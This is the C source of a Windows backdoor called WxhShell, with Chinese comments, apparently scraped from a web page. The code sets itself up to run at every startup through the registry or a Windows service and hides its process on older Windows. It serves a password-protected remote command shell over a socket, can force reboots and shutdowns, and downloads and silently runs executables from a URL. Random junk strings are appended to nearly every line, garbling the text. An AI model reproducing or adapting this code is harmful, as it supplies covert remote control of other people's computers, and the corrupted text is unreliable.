    ExitThread(0); z:q'?{` I  
    } t jBv{  
    break; e}@J?tJK.L  
    } < 2r#vmM  
  // 获取shell &5CeRx7%  
  case 's': { NxRiEe#m  
    CmdShell(wsh); 1JY90l$ME  
    closesocket(wsh); t5[JN:an  
    ExitThread(0); cF6@.)  
    break; (>% Vj  
  } (?=(eo<N  
  // 退出 ku8Z;ONeH  
  case 'x': {   rs KE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uX!y,a/"  
    CloseIt(wsh); HAOrwJFqU  
    break; l%V}'6T  
    } vTa23YDW  
  // 离开 ]-]@=qYu  
  case 'q': { I(eR3d:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1>*<K/\qg  
    closesocket(wsh); -CNv=vj 3  
    WSACleanup(); S 2` ;7  
    exit(1); nK; rEL  
    break; 0{@Ovc  
        } M%LwC/h:,  
  } G&B}jj  
  } X%qR6mMfT7  
ZI*A0_;L  
  // 提示信息  Z~:lfCK`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lP &%5y;  
} O[J+dWyp  
  } Kct +QO(  
{ ^k,iTx   
  return; W_lNvzag  
} X=}0+W  
@)Y7GM+^  
// shell模块句柄 um4zLsd#v  
int CmdShell(SOCKET sock) h*'5h!  
{ ~|jy$*m4A  
STARTUPINFO si; {?_)m/\  
ZeroMemory(&si,sizeof(si)); S`-IQ,*}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vc<n6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <GlV!y  
PROCESS_INFORMATION ProcessInfo; H`..)zL|  
char cmdline[]="cmd"; ,l"2MXD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~DS9{Y  
  return 0; P?-44m#  
} e=$xn3)McY  
*)sz]g|d  
// 自身启动模式 I!@` _Q9N  
int StartFromService(void) (8/xSOZ[  
{ |W[rywxx  
typedef struct LxGh *7K-  
{ B(NL3WJ  
  DWORD ExitStatus; p 8rAtz>=J  
  DWORD PebBaseAddress; a,\u|T:g  
  DWORD AffinityMask; ;Q 6e&Ips/  
  DWORD BasePriority; 3 +9|7=d  
  ULONG UniqueProcessId; ;0{*V5A  
  ULONG InheritedFromUniqueProcessId; KPrxw }P  
}   PROCESS_BASIC_INFORMATION; f4^_FK&  
`{;&Qcg6m  
PROCNTQSIP NtQueryInformationProcess; Y)5}bmL  
uv d>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (S{c*"}2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <\ c8q3N  
\Fjq|3`<l  
  HANDLE             hProcess; NV~i4R*#  
  PROCESS_BASIC_INFORMATION pbi; Hc3/`.nt  
e6a8ad  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7]53GGNO  
  if(NULL == hInst ) return 0; |bUmkw  
z<XS"4l?W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g#NUo/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *]u/,wCB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yQ2[[[@k@  
<<6#Uz.1  
  if (!NtQueryInformationProcess) return 0; bsDUFXH]  
J?DyTs3 Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )8PL7P84  
  if(!hProcess) return 0; S}yb~uc,  
VUhu"h@w%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2sq<"TlQXI  
C*zdHzMj  
  CloseHandle(hProcess); s_Gp +-  
6YbSzx` ?k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cV,URUD  
if(hProcess==NULL) return 0; `_kRvpi  
5T*7HC[  
HMODULE hMod; ,]' !2?  
char procName[255]; 53xq%  
unsigned long cbNeeded; *2hzReM  
Cl=ExpX/O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~Y[b QuA=)  
{%dQV#'c  
  CloseHandle(hProcess); "=O)2}  
}R(_^@ ]  
if(strstr(procName,"services")) return 1; // 以服务启动 YzVLa,[  
S d -+a  
  return 0; // 注册表启动 *8+YR  
} ru Lcu]  
}Qo8Xps  
// 主模块 /GNYv*  
int StartWxhshell(LPSTR lpCmdLine) Gd 9B  
{ C\K--  
  SOCKET wsl; =$J2  
BOOL val=TRUE; H|?`n uiD  
  int port=0; >^}z  
  struct sockaddr_in door; ~{{:-XkVB  
qlP=Y .H  
  if(wscfg.ws_autoins) Install(); 6=D;K.!  
3._fbAN%e  
port=atoi(lpCmdLine); 0SYkDI  
C7:Ry)8'I  
if(port<=0) port=wscfg.ws_port; 0>Nq$/!  
Vy VC#AK,  
  WSADATA data; /PlsF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xR3A4m  
"a7d`l:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `MS=/xE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HF:PF"|3  
  door.sin_family = AF_INET; $fO*229As  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YFY)Z7fK  
  door.sin_port = htons(port); pe-d7Ou P  
f #14%?/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dc2eY.  
closesocket(wsl); 7085&\9  
return 1; agzG  
} jrR~V* :k  
ycN_<  
  if(listen(wsl,2) == INVALID_SOCKET) { I._=q  
closesocket(wsl); i)ctrdP-  
return 1; ?u|g2!{_  
} H'.d'OE:I  
  Wxhshell(wsl); -mF9Skj  
  WSACleanup(); !ywc).]e  
#SmWF|/  
return 0; |SmN.*&(9  
W\ckt]'  
} /r6DPR0\  
D.~t#a A  
// 以NT服务方式启动 &R]G)f#w%*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g& Rk}/F  
{ fi)ypv*  
DWORD   status = 0; $Z4p$o dk  
  DWORD   specificError = 0xfffffff; &}ow-u9c3  
/uWON4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YL+W 4 ld  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RPu-E9g@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M vCBgLN  
  serviceStatus.dwWin32ExitCode     = 0; -p }]r  
  serviceStatus.dwServiceSpecificExitCode = 0; '1+ Bgf  
  serviceStatus.dwCheckPoint       = 0; (46)v'?  
  serviceStatus.dwWaitHint       = 0; bPEAG=l"-  
p#w,+)1!d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "x)W3C%*S  
  if (hServiceStatusHandle==0) return; $A ,=z  
ZJqmD  
status = GetLastError(); (~~=<0S  
  if (status!=NO_ERROR) //(c 1/s  
{ .6*A~%-=[d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BeRn9[  
    serviceStatus.dwCheckPoint       = 0; h?b{{  
    serviceStatus.dwWaitHint       = 0; 9b0Z Ey{  
    serviceStatus.dwWin32ExitCode     = status; NZ#z{JI =+  
    serviceStatus.dwServiceSpecificExitCode = specificError; e)M1$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MD,-<X)Qy  
    return; |N*>K a;  
  } sYL+;(#t  
=J,:j[D(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z'm;H{xf  
  serviceStatus.dwCheckPoint       = 0; MB)xL-jO  
  serviceStatus.dwWaitHint       = 0; 2WoB;=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '"&?u8u)  
} A8?>V%b[Y  
Z-:`{dns/  
// 处理NT服务事件,比如:启动、停止 n~h%K7 c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @AwH?7(b  
{ |7argk+  
switch(fdwControl) AQ&;y&+QR  
{ Pz?O_@Ln  
case SERVICE_CONTROL_STOP:  :JlJB  
  serviceStatus.dwWin32ExitCode = 0; eNNK;xXe#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z K&`&("4C  
  serviceStatus.dwCheckPoint   = 0; `?)i/jko"  
  serviceStatus.dwWaitHint     = 0; n1QO/1} :  
  { JkKI/ 5h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b(yY.L=K  
  } ]T$~a8  
  return; l}m@9 ~oC  
case SERVICE_CONTROL_PAUSE: #>0nNR[$Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }\@*A1*X2  
  break; mVxS[Gq  
case SERVICE_CONTROL_CONTINUE: )9*WmFc+#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *]LM2J  
  break; NH{0KZ R  
case SERVICE_CONTROL_INTERROGATE: uJ[dO}  
  break; bV"0}|A~K  
}; :KQ<rLd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uwbj`lpf  
} 7"gy\_M  
t((0]j^  
// 标准应用程序主函数 0P|WoC X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j8lbn|.  
{ js{ RaR=  
*ce h ]v  
// 获取操作系统版本 `0L!F"W  
OsIsNt=GetOsVer(); DV. m({?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @~"0|,6VC  
/as1  
  // 从命令行安装 d+_qBp  
  if(strpbrk(lpCmdLine,"iI")) Install(); yJ^}uw  
Q$3%aR-2  
  // 下载执行文件  8NLk`/  
if(wscfg.ws_downexe) { 5n_<)Ycj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BUtXHD  
  WinExec(wscfg.ws_filenam,SW_HIDE); {9z EnVfg  
} /t816,i  
t ({:TQ  
if(!OsIsNt) { nF)|oA   
// 如果时win9x,隐藏进程并且设置为注册表启动 \=.iM?T  
HideProc(); !nTq"d%(W  
StartWxhshell(lpCmdLine); W<~(ieu:K~  
} km *$;Nli  
else XRZmg "  
  if(StartFromService()) c[4Z_5B  
  // 以服务方式启动 )#1@@\< ^T  
  StartServiceCtrlDispatcher(DispatchTable); }%%| '8  
else pBHr{/\5  
  // 普通方式启动 (mv8_~F0  
  StartWxhshell(lpCmdLine); Z yIn>]{  
lO:[^l?F  
return 0; /Qbt  
} n84*[d}t  
F77~156  
<h(tW  
(|S e+Y#e,  
=========================================== y$!~</=b  
Nl1&na)K}  
f7mI\$CN  
^)X^Pcx  
*C$ W^u5h  
Oq[tgmf  
" CYz]tv}g:  
4/$]wK`  
#include <stdio.h> 3^8%/5$v  
#include <string.h> PQ1\b-I  
#include <windows.h> .Zo8KwkFY  
#include <winsock2.h> cd\0  
#include <winsvc.h> @;pTQ 5 I  
#include <urlmon.h> q")}vN  
}E*#VA0/nY  
#pragma comment (lib, "Ws2_32.lib") wL~ dZ! ,J  
#pragma comment (lib, "urlmon.lib") GQq2;%RrF  
dqcfs/XhP  
#define MAX_USER   100 // 最大客户端连接数 s@0#w*N  
#define BUF_SOCK   200 // sock buffer r6"t`M  
#define KEY_BUFF   255 // 输入 buffer PX+$Us  
z1s9[5  
#define REBOOT     0   // 重启 x#U?~6.6  
#define SHUTDOWN   1   // 关机 WG9x_X&XJ  
zDC-PHF HQ  
#define DEF_PORT   5000 // 监听端口 rqifjsv  
[9X1;bO#f  
#define REG_LEN     16   // 注册表键长度 mim]nRd2v  
#define SVC_LEN     80   // NT服务名长度  dY|(  
i,,UD  
// 从dll定义API nXXyX[c4e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y*J,9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ._#|h5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =Bl#CE)X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #VtlXr>G  
?NJ\l5'  
// wxhshell配置信息  R:-^,/1  
struct WSCFG { 8MV=?  
  int ws_port;         // 监听端口 t-e:f0iz  
  char ws_passstr[REG_LEN]; // 口令 dYW19$W n  
  int ws_autoins;       // 安装标记, 1=yes 0=no qHklu2_%  
  char ws_regname[REG_LEN]; // 注册表键名 I@e{>}  
  char ws_svcname[REG_LEN]; // 服务名 5yuR[ VU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 njX!Ez  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [26"?};"%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LC2t,!RRl&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]hc.cj`\W&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3}2'PC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .(`#q@73  
J1hc :I<;  
}; *o`bBdZ  
Jk 0 ;<2j  
// default Wxhshell configuration ^I@43Jy/  
struct WSCFG wscfg={DEF_PORT, "4zTP!Ow  
    "xuhuanlingzhe", }"E?#&^  
    1, !Hxx6/  
    "Wxhshell", t /1KKEZM  
    "Wxhshell", }hhDJ_I5M  
            "WxhShell Service", :voQ#f=  
    "Wrsky Windows CmdShell Service", :k#Y|(  
    "Please Input Your Password: ", ["kk.*&  
  1, uv eTx  
  "http://www.wrsky.com/wxhshell.exe", YOy/'Le^:  
  "Wxhshell.exe" vaW, O/F  
    }; {a\m0Bw/  
7&qunK'  
// 消息定义模块 KYZ/b8C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]W]o6uo7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NN>,dd3T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; twq!@C  
char *msg_ws_ext="\n\rExit."; glm29hF  
char *msg_ws_end="\n\rQuit."; %[l5){:05  
char *msg_ws_boot="\n\rReboot..."; b[%sKl  
char *msg_ws_poff="\n\rShutdown..."; =LC:1zn4  
char *msg_ws_down="\n\rSave to "; q",n:=PL  
ML9ZS @  
char *msg_ws_err="\n\rErr!"; $~75/  
char *msg_ws_ok="\n\rOK!"; 'D;v>r  
:dc>\kUIv  
char ExeFile[MAX_PATH]; sFsp`kf  
int nUser = 0; =]K;"  
HANDLE handles[MAX_USER]; @Xts}(L  
int OsIsNt; P{h;2b{  
Mpzt9*7R  
SERVICE_STATUS       serviceStatus; qk<(iVUO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kFg@|#0v9  
gG!L#J?  
// 函数声明 c_"]AhV~Mg  
int Install(void); 9LI #&\lba  
int Uninstall(void); S-NKT(H)c  
int DownloadFile(char *sURL, SOCKET wsh); s3Pr$h  
int Boot(int flag); ?Id3#+-O  
void HideProc(void); Gb4k5jl  
int GetOsVer(void); Kc$j<MRtv  
int Wxhshell(SOCKET wsl); kj{z;5-dl  
void TalkWithClient(void *cs); mmE\=i~  
int CmdShell(SOCKET sock); omevF>b;  
int StartFromService(void); MqDz cB]  
int StartWxhshell(LPSTR lpCmdLine); '_N~PoV  
0Ihp`QGU:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [+\=x[q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6vAq&Y{JB'  
9)9p<(b $  
// 数据结构和表定义 hd^?mZ  
SERVICE_TABLE_ENTRY DispatchTable[] = x1VBO.t=*  
{ d}2tqPya  
{wscfg.ws_svcname, NTServiceMain}, !<BJg3  
{NULL, NULL} >slD.rb]  
}; S~X&^JvT  
~)xg7\k  
// 自我安装 M=:!d$c  
int Install(void) ,@!io  
{ {]BPSj{B  
  char svExeFile[MAX_PATH]; ce7$r*@!  
  HKEY key; +L03. rf  
  strcpy(svExeFile,ExeFile); 6[b'60CuZL  
TwJiYXHw?  
// 如果是win9x系统,修改注册表设为自启动 C,r[H5G#  
if(!OsIsNt) { a|?&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,< Zu4bww  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,j E'd'$  
  RegCloseKey(key); T5H[~b|9-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T;!: A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }-4@EC>  
  RegCloseKey(key); zW.I7Z0^  
  return 0; Jmg<mjq/G  
    } q$RJ3{Sf  
  } &\6Buw_  
} gCfAy=-,V  
else { 5ar2Y$bY  
Qf|x]x*5  
// 如果是NT以上系统,安装为系统服务 !8YZ;l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k@:M#?(F  
if (schSCManager!=0) Bu_/yKW  
{ y.vYT{^  
  SC_HANDLE schService = CreateService M~/7thP{  
  ( R<(kiD\?]  
  schSCManager, {;mT.[  
  wscfg.ws_svcname, t7#lRp&  
  wscfg.ws_svcdisp, r'*x><m'  
  SERVICE_ALL_ACCESS, $.HZz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,'!x 9 `  
  SERVICE_AUTO_START, Rn?Yz^ 1q  
  SERVICE_ERROR_NORMAL, 3lr9nBR  
  svExeFile, \"k[y+O],4  
  NULL, I "Qf};n  
  NULL, |p_\pa1&  
  NULL, @>:V?  
  NULL, ["O/%6b9+  
  NULL +\Uq=@  
  ); 4f~ c# 0?  
  if (schService!=0) "- 2HKs  
  { WX~: Y,l+u  
  CloseServiceHandle(schService); ]]Bq te  
  CloseServiceHandle(schSCManager); _UP =zW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c+S<U*  
  strcat(svExeFile,wscfg.ws_svcname); J)o.@+Q}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c?(;6$A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?OjZb'+=K  
  RegCloseKey(key); skaPC#u  
  return 0; k|uW~ I)  
    } y0}3s)lKv  
  } fhwJ  
  CloseServiceHandle(schSCManager); D@W[Nd5MJ  
} M$J{clr  
}  _"0,  
KYw~(+gHv2  
return 1; ~t=73 fwB  
} t.\<Q#bN#  
Cj/J&PDQ  
// 自我卸载 v;6O# ta'  
int Uninstall(void) 9f=L'{  
{ srL|Y&8p  
  HKEY key; &JUHm_wd&S  
fI<|]c}P&J  
if(!OsIsNt) { <b.O^_zQF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yj$a0Rgkv  
  RegDeleteValue(key,wscfg.ws_regname); 2eC`^  
  RegCloseKey(key); t@(:S6d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t_xO-fT)  
  RegDeleteValue(key,wscfg.ws_regname); S"=y >.#  
  RegCloseKey(key); L/Tsq=  
  return 0; 3bsuE^,.@  
  } b;;mhu  
} 6Dl]d %.  
}  C\`*_t  
else { |(eRv?Qy@  
simD<&p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !&(^R<-id  
if (schSCManager!=0) !#[B#DZc(  
{ Z:(Zy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]nIH0k3y  
  if (schService!=0) ;9&#Sb/  
  { ;6)Onwx  
  if(DeleteService(schService)!=0) { Ot<vn34mt:  
  CloseServiceHandle(schService); y/vGt_^;3<  
  CloseServiceHandle(schSCManager); xcHuH -}  
  return 0; 3a Y^6&  
  } L$zB^lSM  
  CloseServiceHandle(schService); w|,BTM:e  
  } cM?i _m  
  CloseServiceHandle(schSCManager); F=g +R~F  
} n9H4~[JiC  
} ITssBB9  
'g5 Gdn  
return 1; UG !+&ii|  
} 90Sp(  
xfzGixA  
// 从指定url下载文件 < C1Jim  
int DownloadFile(char *sURL, SOCKET wsh) [,a2A  
{ ?9Hs,J  
  HRESULT hr; 1 !8 b9  
char seps[]= "/"; X~2L  
char *token; b # |  
char *file; xg.o7-^M  
char myURL[MAX_PATH]; eAl;:0=%L  
char myFILE[MAX_PATH]; rYI7V?  
<| =^['vi  
strcpy(myURL,sURL); vT=?UTq  
  token=strtok(myURL,seps); k.n-JS  
  while(token!=NULL) }lQ`ka  
  { $ S'~UbmYU  
    file=token; ~PZIYG"D  
  token=strtok(NULL,seps); AZH= r S`  
  } ]EWEW*'j  
w D}g\{P  
GetCurrentDirectory(MAX_PATH,myFILE); /idrb c  
strcat(myFILE, "\\"); *Dhy a g  
strcat(myFILE, file); s(0"r.  
  send(wsh,myFILE,strlen(myFILE),0); Hx?OCGj=S*  
send(wsh,"...",3,0); yx\I&\i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^q}cy1"j"  
  if(hr==S_OK) d:!A`sk7  
return 0; 7x''V5*j  
else &YOks.k  
return 1; =\FV_4)  
D.ERt)l>  
} +:ih`q][b  
G ~X93J  
// 系统电源模块 ^ rh{  
int Boot(int flag) 0-at#r:  
{ 2tqj]i  
  HANDLE hToken; CzfGb4  
  TOKEN_PRIVILEGES tkp; a,ZmDkzuv  
%1Nank!Zj  
  if(OsIsNt) { 7 (kC|q\4M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _O;2.M%@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MO%kUq|pg  
    tkp.PrivilegeCount = 1; 231,v,X[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vp4NH]fJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^~DDl$NH  
if(flag==REBOOT) { #`o]{UfW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5H79-QLd  
  return 0; = P@j*ix  
} |y$8!*S~(  
else { yKB&][)&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lO/?e!$  
  return 0; ]t)#,'$^[W  
} `|`Qrv 4}  
  } \'hZm%S  
  else {   !XQq*  
if(flag==REBOOT) { O.z\ VI2f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dxi5p!^^9  
  return 0; )aAKxC7w  
} L_O*?aaZ  
else { 0^9%E61YR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nvbKW.[<f{  
  return 0; s9[54 7?`  
} sL!+&Id|  
} ',bSJ4)Y  
zPc kM)  
return 1; '`sZo1x%f  
} <HB@j}qi  
k1E(SXcW9  
// win9x进程隐藏模块 kK~,? l  
void HideProc(void) ;hb_jW-0W  
{ PHR:BiMZ  
V.|#2gC]t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _ K Ix7  
  if ( hKernel != NULL ) T*{nf  
  { ZwOX ,D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c-oIP~,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); py }`thx  
    FreeLibrary(hKernel); >_|$7m.?n[  
  } AMre(lgh  
L0X/  
return; %4,v2K  
} #5X535'ze  
)%wNVW 0C  
// 获取操作系统版本 2+=:pc^  
int GetOsVer(void) %EE Q ^lm  
{ ZG$PW< 73~  
  OSVERSIONINFO winfo; wCgi@\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {'a|$u+  
  GetVersionEx(&winfo); {$QkerW3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~-f"&@){,  
  return 1; -*[:3%  
  else &>A<{J@VL  
  return 0; i_f\dkol  
} !hjA   
Ox%p"xuP,  
// 客户端句柄模块 oM(8'{S=  
int Wxhshell(SOCKET wsl) }l7@:ezZZ7  
{ :^rt8>~  
  SOCKET wsh; 0b(x@>  
  struct sockaddr_in client; X" Upml  
  DWORD myID; _b"K,[0o  
N4)ZPLV  
  while(nUser<MAX_USER) *Xl,w2@  
{ "[dfb#0z`  
  int nSize=sizeof(client); O9ar|8y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^m ['VK#?  
  if(wsh==INVALID_SOCKET) return 1; ''Hx&  
B'&QLO|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W2BZG(dm  
if(handles[nUser]==0) H>]A|-rG#  
  closesocket(wsh); 7g|EqJ7  
else KBa ]s q_  
  nUser++; 5@_kGoqd  
  } d1';d6.u\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A)_HSIVi  
K~6u5a9s  
  return 0; RXRoMg!-P  
} T#.pi@PF>  
i:60|ngK  
// 关闭 socket .$]-::&  
void CloseIt(SOCKET wsh) 5m2f\^U  
{ j;BlpRD}  
closesocket(wsh); Y/ I32@  
nUser--; k}0b7er=R  
ExitThread(0); "1Y'VpKm(~  
} Ay0.D FL  
Z(I=K BI  
// 客户端请求句柄 4'5|YGQj  
void TalkWithClient(void *cs) ha?M[Vyw4Q  
{ dJ {q}U  
w:+&i|H>  
  SOCKET wsh=(SOCKET)cs; d_ 7hh  
  char pwd[SVC_LEN]; IictX"3lh  
  char cmd[KEY_BUFF]; ,c,@WQ2:-  
char chr[1]; PiN^/#D  
int i,j; E NrcIZ  
m "96%sB  
  while (nUser < MAX_USER) { Rga *68s|&  
.: k6Kg  
if(wscfg.ws_passstr) { G8&/I c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g'AxJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Hr~|oG  
  //ZeroMemory(pwd,KEY_BUFF); G!+Mu2  
      i=0; GfV#^qi  
  while(i<SVC_LEN) { &grqRt  
>hY.F/[  
  // 设置超时 H128T8?r[  
  fd_set FdRead; b|-S;cw  
  struct timeval TimeOut; E>iN>  
  FD_ZERO(&FdRead); xqb*;TBh*  
  FD_SET(wsh,&FdRead); 3EHB~rL/C  
  TimeOut.tv_sec=8; :(iBLO<x  
  TimeOut.tv_usec=0; %j@@J\G!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t:"3M iM=c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hp`ZmLq/[  
YQcaWd(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &z#`Qa3NI  
  pwd=chr[0]; ( 8X^pL  
  if(chr[0]==0xd || chr[0]==0xa) { uUb`Fy9  
  pwd=0; x\oSD1t,  
  break; ;!A=YXB  
  } O(6j:XD  
  i++; Y/sZPG}4  
    } 03c8VKp'p  
8S7#tb@3  
  // 如果是非法用户,关闭 socket K#Zv>x!to  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iK=QP+^VN  
} qOy0QZ#0  
J0Gjo9L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \CX6~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); adPd}rt;  
_F5*\tQ  
while(1) { ( k,?)  
zdm2`D;~p  
  ZeroMemory(cmd,KEY_BUFF);  |nfMoUI  
=*R6 O,  
      // 自动支持客户端 telnet标准   _+.JTk  
  j=0; q ~^!Ck+#*  
  while(j<KEY_BUFF) { a7685Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j^%N:BQ&  
  cmd[j]=chr[0]; \ef:H&r  
  if(chr[0]==0xa || chr[0]==0xd) { ^HxIy;EQ<z  
  cmd[j]=0; I1 Otu~%d  
  break; %/ctt_p0x  
  } B77`azwF  
  j++; SsPZva  
    } D^gS.X^  
[X91nUz#  
  // 下载文件 wh)F&@6 R!  
  if(strstr(cmd,"http://")) { Nv^b yWqu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R a"hdxH  
  if(DownloadFile(cmd,wsh)) {A'*3(8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "8"aYD_  
  else {PR "}x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rzs-c ?  
  } [N12X7O3  
  else { l6 L?jiTl_  
PQp =bX,  
    switch(cmd[0]) { G:3szz  
  QYi4A "$`  
  // 帮助 Tw7]   
  case '?': { Q'qX`K+@`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AVm+ 1  
    break; YN+vk}8 <  
  } a{@}vZx>3  
